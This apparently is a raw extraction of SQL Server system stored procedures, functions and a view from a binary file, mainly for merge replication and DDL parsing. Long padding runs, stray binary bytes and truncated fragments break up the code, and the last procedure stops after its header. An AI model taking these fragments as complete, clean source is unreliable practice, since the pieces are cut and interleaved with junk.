            select @enable_cmd = N'alter table ' + @dest + N' enable trigger ' + quotename(@cnstname)
        else
            select @enable_cmd = N'alter table ' + @dest + N' check constraint ' + quotename(@cnstname)

        execute(@enable_cmd)
        fetch ms_crs_cnst into @cnstname, @cnstid
    end     --of major loop
    deallocate ms_crs_cnst
    return 0
0%U 88=
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!]8`v<Fl08;N0IE@ 8--
-- Name: sp_MSregisterdynsnapseqno
--
-- Description: This procedure works exactly like 
--              sp_MSregistermergesnappubid except that it uses 
--              the dynamic snapshot sequence number (a guid) to detect 
--              whether a different dynamic snapshot is being delivered over
--              a previously interrupted dynamic snapshot.
--
-- Parameters: @snapshot_session_token nvarchar(260) (mandatory)
--             @dynsnapseqno uniqueidentifier (mandatory)
-- 
-- Note: This procedure should only be called by the merge agent at the 
--       subscriber database.
--
-- Returns: 0 - succeeded
--          1 - failed
--
-- Security: This is a public interface object, security check is performed 
--           inside this procedure to restrict access to sysadmins and 
--           db_owners of the subscriber database.
--
create procedure sys.sp_MSregisterdynsnapseqno (
    @snapshot_session_token nvarchar(260),
    @dynsnapseqno uniqueidentifier 
    )
as
begin
    set nocount on
    declare @retcode int
    declare @dynsnapseqnoprefix nvarchar(100)    
    declare @pubidprefix nvarchar(100)
    declare @snapshot_progress_token nvarchar(500)    
    declare @transaction_opened bit
    declare @previous_dynsnapseqno uniqueidentifier
    declare @snapshot_progress_token_hash int
    declare @pubid uniqueidentifier

    -- Initializations
    select @retcode = 0
    select @dynsnapseqnoprefix = N'<DynSnapSeqNo>:'    
    select @pubidprefix = N'<MergePubId>:'    
    select @transaction_opened = 0
    
    select @previous_dynsnapseqno = null

    -- Security check
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
    
    if object_id('dbo.MSsnapshotdeliveryprogress', 'U') is not null
    begin

        -- Try to get the previous dynamic snapshot sequence number
        select @previous_dynsnapseqno = 
                    convert(uniqueidentifier, right(progress_token, len(progress_token) - len(@dynsnapseqnoprefix)))
          from dbo.MSsnapshotdeliveryprogress   
         where session_token = @snapshot_session_token
           and left(progress_token, len(@dynsnapseqnoprefix)) = @dynsnapseqnoprefix
        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end

        -- If the dynamic snapshot sequence number is different, cleanup
        -- everything for the new dynamic snapshot
        if @previous_dynsnapseqno is not null and
           @previous_dynsnapseqno <> @dynsnapseqno
        begin    
            begin transaction
            save transaction sp_MSregisterdynsnapseqno
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
            select @transaction_opened = 1
                                
            -- Try to get the pubid for this snapshot
            select @pubid =
                    convert(uniqueidentifier, right(progress_token, len(progress_token) - len(@pubidprefix)))
              from dbo.MSsnapshotdeliveryprogress
             where session_token = @snapshot_session_token
               and left(progress_token, len(@pubidprefix)) = @pubidprefix

            -- Do cleanup
            exec @retcode = sys.sp_MSpurgepartialmergesnapshot
                    @pubid = @pubid
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end

            -- Register both the pubid and the dynsnapseqno again because
            -- both registrations would have been removed by the cleanup above
            select @snapshot_progress_token = @pubidprefix + convert(nvarchar(100), @pubid)
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end

            exec @retcode = sys.sp_MSrecordsnapshotdeliveryprogress
                    @snapshot_session_token = @snapshot_session_token,
                    @snapshot_progress_token = @snapshot_progress_token
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end

            select @snapshot_progress_token = @dynsnapseqnoprefix + convert(nvarchar(100), @dynsnapseqno)
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end

            exec @retcode = sys.sp_MSrecordsnapshotdeliveryprogress
                    @snapshot_session_token = @snapshot_session_token,
                    @snapshot_progress_token = @snapshot_progress_token
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end

            commit transaction        
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
            select @transaction_opened = 0
        end
        else if @previous_dynsnapseqno is null
        begin
            select @snapshot_progress_token = @dynsnapseqnoprefix + convert(nvarchar(100), @dynsnapseqno)
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end

            exec @retcode = sys.sp_MSrecordsnapshotdeliveryprogress
                    @snapshot_session_token = @snapshot_session_token,
                    @snapshot_progress_token = @snapshot_progress_token
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
        end
    end    
    else
    begin
        select @snapshot_progress_token = @dynsnapseqnoprefix + convert(nvarchar(100), @dynsnapseqno)
        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end

        exec @retcode = sys.sp_MSrecordsnapshotdeliveryprogress
                @snapshot_session_token = @snapshot_session_token,
                @snapshot_progress_token = @snapshot_progress_token
        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
    end

Failure:
    if @transaction_opened = 1
    begin
        rollback transaction sp_MSregisterdynsnapseqno
        commit transaction
    end

    return @retcode
end
0 D8'fhZ)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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--
-- Name: fn_replremovefullobj
--
-- Description: This helper function strips out [db].[owner].[obj] in all possible forms
--	
--
-- Parameters: 	
--    @inputcmd nvarchar(max)
--	,@dbname sysname		-- not quoted
--	,@owner sysname			-- not quoted
--	,@objname sysname		-- not quoted
--
-- Returns: nvarchar(max) 
--
-- Notes: this is an internal helper function 
--	e.g. 
--	fn_replremovefullobj(N'pubs.dbo.authors add newcol1 int')
--	should return: N'add newcol1 int'
--		
-- Security: not exposed to public
-- 
create function sys.fn_replremovefullobj (
    @inputcmd nvarchar(max)
	,@dbname sysname		-- not quoted
	,@owner sysname			-- not quoted
	,@objname sysname		-- not quoted
)
returns nvarchar(max)
as
begin
declare @ddlcmd_len bigint
		,@ddloffset nvarchar(max)
		,@len_identifier int

set @ddloffset = ltrim(@inputcmd)
set @ddlcmd_len = len(@ddloffset)

-- now strip out object name
-- deal with the following possibilities: w or w/o quotes
-- [db].[owner].[obj]
select @len_identifier = sys.fn_replcheckquotedname(@ddloffset, @dbname)
if (@len_identifier  > 0) and substring(@ddloffset, @len_identifier + 1, 1) = N'.'
begin
	set @ddloffset = ltrim(substring(@ddloffset, @len_identifier + 2, @ddlcmd_len - @len_identifier - 1))
	set @ddlcmd_len = len(@ddloffset)
end
-- [owner].[obj] or ..[obj]
select @len_identifier = sys.fn_replcheckquotedname(@ddloffset, @owner)
if (@len_identifier  > 0) and substring(@ddloffset, @len_identifier + 1, 1) = N'.'
begin
	set @ddloffset = ltrim(substring(@ddloffset, @len_identifier + 2, @ddlcmd_len - @len_identifier - 1))
	set @ddlcmd_len = len(@ddloffset)
end
else if substring(@ddloffset, 1, 1) = N'.'
begin
	set @ddloffset = ltrim(substring(@ddloffset, 2, @ddlcmd_len - 1 ))
	set @ddlcmd_len = len(@ddloffset)
end
-- [obj]
select @len_identifier = sys.fn_replcheckquotedname(@ddloffset, @objname)
if (@len_identifier  > 0) and (substring(@ddloffset, @len_identifier+1, 1) = N' ' 				-- space
	or substring(@ddloffset, @len_identifier+1, 1) = CHAR(9)		-- tab
	or substring(@ddloffset, @len_identifier+1, 1) = CHAR(10)		-- LF
	or substring(@ddloffset, @len_identifier+1, 1) = CHAR(13)		-- CR
	or substring(@ddloffset, @len_identifier+1, 1) = N'('	
	or substring(@ddloffset, @len_identifier+1, 2) = N'/*')
begin
	set @ddloffset = ltrim(substring(@ddloffset, @len_identifier + 1, @ddlcmd_len - @len_identifier))
	set @ddlcmd_len = len(@ddloffset)
end
else
begin
	-- If we can't find the object name, then return 0 even if we have a schema or database match
	return (@inputcmd)
end

return (@ddloffset)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	0
<r51gi=0bĶ@ 8CREATE VIEW INFORMATION_SCHEMA.COLUMN_PRIVILEGES
AS
SELECT
	USER_NAME(p.grantor_principal_id)	AS GRANTOR,
	USER_NAME(p.grantee_principal_id)	AS GRANTEE,
	DB_NAME()						AS TABLE_CATALOG,
	SCHEMA_NAME(o.schema_id)			AS TABLE_SCHEMA,
	o.name							AS TABLE_NAME,
	c.name							AS COLUMN_NAME,
	convert(varchar(10), CASE p.type
		WHEN 'SL' THEN 'SELECT'
		WHEN 'UP' THEN 'UPDATE'
		WHEN 'RF' THEN 'REFERENCES'
		END)						AS PRIVILEGE_TYPE,
	convert(varchar(3), CASE p.state
		WHEN 'G' THEN 'NO'
		WHEN 'W' THEN 'YES'
		END)						AS IS_GRANTABLE
FROM
    sys.database_permissions p,
    sys.objects o,
    sys.columns c
WHERE
    o.type IN ('U', 'V')
    AND o.object_id = c.object_id
    AND p.class = 1
    AND p.major_id = o.object_id
    AND p.minor_id = c.column_id
    AND p.type IN ('RF','SL','UP')
    AND p.state IN ('G', 'W')
    AND (p.grantee_principal_id = 0
    	OR p.grantee_principal_id = DATABASE_PRINCIPAL_ID()
    	OR p.grantor_principal_id = DATABASE_PRINCIPAL_ID())
0 @8CREATE FUNCTION sys.fn_is_signable_object(@type NVARCHAR(2))
RETURNS INT
AS
BEGIN
	RETURN CASE WHEN (@type = 'FN' OR 
			@type = 'FS' OR 
			@type = 'FT' OR 
			@type = 'P'  OR 
			@type = 'PC' OR 
			@type = 'TF' OR 
			@type = 'TR' OR
			@type = 'U') THEN 1 ELSE 0 END
END
0@ D8KKhK
1L
0=@ 8
create procedure sys.sp_MSuniquename
	@seed nvarchar(128), @start int = null
as
	/* Return a unique name for sysobjects, based on a passed-in seed. */
	set nocount on
	declare @i int, @append nvarchar(10), @seedlen int, @temp nvarchar(128), @recalcseedlen int, @seedcharlen int
	select @i = 1, @seedlen = datalength(@seed), @recalcseedlen = 1, @seedcharlen = 0
	if (@start is not null and @start >= 0)
		select @i = @start
	while 1 < 2
	begin
		/* This is probably overkill, but start at max length of seed name, leaving room under OSQL_DBLSYSNAME_SET for @append. */
		/* We'll work our way back along the string if more room needed (pathological user). */
		select @append = ltrim(str(@i)) + N'__' + ltrim(str(@@spid))
		if (@recalcseedlen = @i or @seedcharlen = 0)
		begin
			while @recalcseedlen <= @i
				select @recalcseedlen = @recalcseedlen * 10
			select @seedcharlen = @seedlen
			if ((@seedlen + datalength(@append)) > 128) begin
				select @seedlen = 128 - datalength(@append)

				/* Get the charlen of this datalength for the substring() call. */
				select @seedcharlen = @seedlen
			   /* exec sp_GetMBCSCharLen @seed, @seedlen, @seedcharlen out */
			end		/* Recalc seedlen */
		end		/* Check seedlen */

		select @temp = substring(@seed, 1, @seedcharlen) + @append

		/* If I don't set a limit somewhere, it's gonna look hung -- I'd rather get a nonunique error. */
		if object_id(@temp) is null or @i > 999999		/* if increased, watch out for overflow of @recalcseedlen */
		begin
			set nocount off
			select Name = @temp, Next = @i + 1
			return 0
		end
		select @i = @i + 1
	end
pgrade_target_level AS upgrade_target_level
	FROM sys.databases d CROSS APPLY OpenRowset(TABLE DBSCRIPTLEVEL, d.database_id) s
	WHERE d.database_id < 0x7fff
		AND has_access('DL', 0) = 1
0.@ l8CREATE PROCEDURE sys.sp_MSdist_activate_auto_sub
(
@publisher_id int,
@publisher_db sysname,
@article_id int
)
as
begin
  declare @automatic tinyint
  declare @active tinyint
  declare @subscribed tinyint

   set nocount on
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    select @automatic = 1
    select @subscribed = 1
    select @active = 2

    begin transaction MSdist_activate_auto_sub

       update dbo.MSsubscriptions set status = @active,
            subscription_time = getdate()
           where
              publisher_id = @publisher_id and
              publisher_db = @publisher_db and
              article_id = @article_id and
              sync_type = @automatic and
              status in( @subscribed )

       if @@ERROR <> 0
          begin
          if @@trancount > 0
            rollback transaction MSdist_activate_auto_sub
          return (1)
          end

   commit transaction
end
0@ D8KKhK
1L
0g 	8create procedure sys.sp_MShelpmergeidentity 
    @publication sysname
as
    declare @pubid                  uniqueidentifier
    declare @artid                  uniqueidentifier
    declare @nickname               int
    declare @next_seed              bigint
    declare @retcode                int
    declare @tablename              sysname
    declare @range                  bigint
    declare @threshold              int
    declare @db_name                sysname
    declare @tmp_table TABLE (tablename sysname, next_seed bigint, range bigint, threshold int, nickname int)
    declare @publishingservername sysname
    declare @subid uniqueidentifier

    /*
    ** To public.
    */
    set nocount on
    if (@publication is null)
    begin
        RAISERROR(14003, 16, -1)
        return (1)
    end

    select @db_name = db_name()
    		,@publishingservername = publishingservername()

    /* 
    ** Security Check.
    */
    exec @retcode = sys.sp_MSmerge_validate_publication_presence @publication, @db_name, @publishingservername, @pubid output
    if @retcode <> 0 or @@error <> 0
        return 1

    
    select TOP 1 @artid=artid, @nickname=nickname from dbo.sysmergearticles where pubid=@pubid and identity_support=1 order by nickname ASC
    while (@artid is not NULL)
    begin
        -- we need a local subid to look up the entry in MSmerge_identity_range
        select @subid=subid from dbo.MSmerge_identity_range where artid=@artid and is_pub_range=1 and (sys.fn_MSmerge_islocalsubid(subid)=1)
        
        insert @tmp_table (tablename, next_seed, range, threshold, nickname)
            select object_name(a.objid), i.max_used, a.range, a.threshold, a.nickname 
            from dbo.sysmergearticles a
                inner join dbo.MSmerge_identity_range i on i.artid=a.artid and i.subid=@subid and i.is_pub_range=1
            where a.artid = @artid and a.pubid = @pubid
        if @@ERROR<>0
        begin
            raiserror(21197, 16, -1)
            return (1)
        end
        select @artid = NULL 
        select TOP 1 @artid=artid, @nickname=nickname from dbo.sysmergearticles 
            where pubid=@pubid and nickname>@nickname and identity_support=1 order by nickname ASC
    end
    select t.* from @tmp_table t, dbo.sysmergearticles sma 
    where t.nickname = sma.nickname
    and sma.pubid = @pubid
    order by sma.processing_order ASC, sma.nickname ASC
    
    return (0)  
<1 8
create procedure sys.sp_MSdrop_asm_TableMaintenance
as
	if exists (select * from sysobjects
					where type = 'PC'
					and name = 'sp_FuzzyLookupTableMaintenanceInstall')

		drop procedure sys.sp_FuzzyLookupTableMaintenanceInstall

	if exists (select * from sysobjects
					where type = 'PC'
					and name = 'sp_FuzzyLookupTableMaintenanceUninstall')

		drop procedure sys.sp_FuzzyLookupTableMaintenanceUninstall

	if exists (select * from sysobjects
					where type = 'PC'
					and name = 'sp_FuzzyLookupTableMaintenanceInvoke')

		drop procedure sys.sp_FuzzyLookupTableMaintenanceInvoke

	if exists (select * from sys.assemblies
					where name = 'asm_TableMaintenance')

		drop assembly [asm_TableMaintenance]
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

G
y`<eLN02@ 8--
-- Name: fn_replgetparsedddlcmd
--
-- Description: This helper function strips out the first part 
--	of DDL cmd, up to the point right after object name.
--	
--
-- Parameters: 	
--	@ddlcmd nvarchar(max)
--	,@FirstToken sysname
--	,@objectType sysname	-- comlete form: e.g. procedure/function/tigger
--	,@dbname sysname		-- not quoted
--	,@owner sysname			-- not quoted
--	,@objname sysname		-- not quoted
--	,@targetobject nvarchar(512)-- applies to alter trigger only
--
-- Returns: nvarchar(max) 
--
-- Notes: this is an internal helper function which assumes
--	incoming @ddlcmd is always valid, it strips out the first 
--	part of ddl so we can reconstruct with alternate
--	destination table/owner if so desired, it also helps to 
--	to avoid blandly sending DDL with fully qualified table 
--	name including publisher database:
--	e.g. 
--	fn_replgetparsedddlcmd(N'table pubs.dbo.authors add newcol1 int'
--											,'alter'
--											,'table'
--											,'pubs'
--											,'dbo'
--											,'authors')
--	should return: N'add newcol1 int'
--		
-- Security: not exposed to public
-- 
create function sys.fn_replgetparsedddlcmd (
    @ddlcmd nvarchar(max)
	,@FirstToken sysname
	,@objectType sysname	-- comlete form: e.g. procedure/function/tigger
	,@dbname sysname		-- not quoted
	,@owner sysname			-- not quoted
	,@objname sysname		-- not quoted
	,@targetobject nvarchar(512)-- applies to alter trigger only
)
returns nvarchar(max)
as
begin
declare @left_quote bigint
		,@right_quote bigint
		,@first_space bigint
        ,@first_tab bigint
        ,@start_pos bigint
		,@ddlcmd_len bigint
		,@ddloffset nvarchar(max)
		,@old_ddloffset nvarchar(max)
		,@trigger_dbname sysname
		,@trigger_owner sysname
		,@trigger_objname sysname

set @ddloffset = rtrim(ltrim(@ddlcmd))

-- strip out leading comments
set @ddloffset = sys.fn_replremoveleadingcomments(@ddloffset)
set @ddlcmd_len = len(@ddloffset)

-- return N'' immediately if the ddl statement does not match first token, this
-- can happen after Katmai DDL improvement
if lower(left(@ddloffset, len(@FirstToken)) collate SQL_Latin1_General_CP1_CS_AS) <> lower(@FirstToken collate SQL_Latin1_General_CP1_CS_AS)
	return N''

-- start with striping off ALTER at the begining
set @ddloffset = ltrim(right(@ddloffset, @ddlcmd_len - len(@FirstToken)))
set @ddlcmd_len = len(@ddloffset)

-- strip out any possible comments between alter and next token
set @ddloffset = sys.fn_replremoveleadingcomments(@ddloffset)
set @ddlcmd_len = len(@ddloffset)

-- now strip out objectType token, 
-- remember, this function is only used by DDL trigger where we know @ddlcmd coming in is valid
-- watch out for space after the second token, e.g. alter proc instead of alter procedure
-- watch out for comments, e.g. alter proc/*..*/myproc instead of alter procedure
set @first_space = patindex('% %', @ddloffset)
set @left_quote = patindex('%/*%', @ddloffset)
set @first_tab = patindex('%' + char(9)	+ '%', @ddloffset) -- char(9) is tab
if (@first_tab < @first_space) and (@first_tab > 0)
begin
    set @first_space = @first_tab
end
if (@first_space > 0 and @first_space < len(@objectType))
	or (@left_quote > 0 and @left_quote < len(@objectType))
begin
	if (@first_space > 0) and (@left_quote > 0)
	begin
		if (@left_quote > @first_space)
			set @left_quote = @first_space
	end
	else if (@first_space > 0) and (@left_quote = 0)
		set @left_quote = @first_space
end
else
	set @left_quote = len(@objectType) + 1
set @ddloffset = substring(@ddloffset, @left_quote, @ddlcmd_len - @left_quote + 1)

-- In the case where there are tabs between @ObjectType token and object name,
-- ltrim doesn't trim tabs.  Use patindex to find the first character
-- that is not a space or a tab, then take the substring after that leading
-- whitespace.
set @ddlcmd_len = len(@ddloffset)

-- Use patindex regular expression to find first char that is not space or tab
-- Then take substring to effectively do a ltrim that will also trim tabs.
set @start_pos = patindex('%[^' + ' ' + char(9) + ']%', @ddloffset)
set @ddloffset = substring(@ddloffset, @start_pos, @ddlcmd_len - @start_pos + 1)

-- strip out any possible comments between @ObjectType token and object name
set @ddloffset = sys.fn_replremoveleadingcomments(@ddloffset)

-- now strip out object name
-- deal with the following possibilities: w or w/o quotes
-- [db].[owner].[obj]
set @old_ddloffset = @ddloffset
set @ddloffset = sys.fn_replremovefullobj(@ddloffset, @dbname, @owner, @objname)

--This is to handle the case of a duplicate trigger from switch partition
if @old_ddloffset = @ddloffset
	return N''

-- might as well strip out any possible comments between object name and definition
set @ddloffset = sys.fn_replremoveleadingcomments(@ddloffset)

--alter trigger trigger_name on [db].[owner].[obj] as .... has the same issue, parse to the point before as
--so we can substitute with alter trigger trigger_name on [dest_owner].[dest_obj] as 
if UPPER(@objectType) = N'TRIGGER' and @targetobject is not NULL and len(@targetobject) > 0
begin 
	-- remove leading newline
	--if substring(@ddloffset, 1, 1) = CHAR(13)
		--set @ddloffset = substring(@ddloffset, 2, len(@ddloffset )-1)
	
	set @ddloffset = ltrim(right(@ddloffset, len(@ddloffset) - len(N'on ')))

	-- trim space,tab,cr,lf chars
	set @start_pos = patindex('%[^' + ' ' + char(9) + char(13) + char(10) + ']%', @ddloffset)
	set @ddloffset = substring(@ddloffset, @start_pos, len(@ddloffset) - @start_pos + 1)

	set @trigger_dbname = isnull(parsename(@targetobject, 3), isnull(parsename(quotename(@targetobject), 3), @dbname))
	set @trigger_owner = isnull(parsename(@targetobject, 2), isnull(parsename(quotename(@targetobject), 2), @owner))
	set @trigger_objname = isnull(parsename(@targetobject, 1), isnull(parsename(quotename(@targetobject), 1), @targetobject))
	
	set @ddloffset = sys.fn_replremovefullobj(@ddloffset, @trigger_dbname, @trigger_owner, @trigger_objname)
end
return (@ddloffset)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`4	<K(	X0@ 8create procedure sys.sp_help_agent_default (
    @profile_id     int OUTPUT, 
    @agent_type         int
)
as
begin
    set nocount on

   -- Security Check: Must be sysadmin or the replmonitor
   if isnull(is_member(N'replmonitor'),0) = 0 and isnull(is_srvrolemember(N'sysadmin'),0) = 0
   begin
     RAISERROR(14260,16,-1) 
     return 1
   end

    if @agent_type not in (1, 2, 3, 4, 9)
    BEGIN
        RAISERROR(20058, 16, -1)
        return (1)
    END

    select @profile_id = profile_id 
    from msdb.dbo.MSagent_profiles 
    where agent_type = @agent_type
    and def_profile = 1 
end
08 58create proc sys.sp_MScheck_subscription_count_internal
